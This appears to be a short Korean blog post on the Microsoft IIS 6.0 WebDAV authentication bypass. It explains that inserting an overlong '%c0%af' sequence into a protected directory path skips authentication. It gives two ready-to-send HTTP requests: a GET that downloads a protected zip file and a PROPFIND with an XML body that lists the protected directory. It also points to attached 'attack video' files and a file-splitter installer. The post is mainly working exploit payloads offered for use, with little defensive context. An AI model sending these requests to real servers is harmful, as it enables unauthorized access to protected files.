Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

IIS 6.0에서 WebDAV로 인증하는 /protected/ 디렉토리에 %c0%af(예: /prot%c0%afected/) 를 넣어서 인증을 우회하는 방법임

GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername

우회 해서 디렉토리 리스트 받아오기
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>

실전 동영상 긴급 입수!

WebDAV 취약점 공격 원본 동영상.flv.001

WebDAV 취약점 공격 원본 동영상.flv.002

파일 나누기_합치기 프로그램 FFSJ_Setup.exe

P.S 음.. 그런데 WebDAV 만 사용해서 인증하는 경우가 그리 많지는 않을 것 같다 ㅋ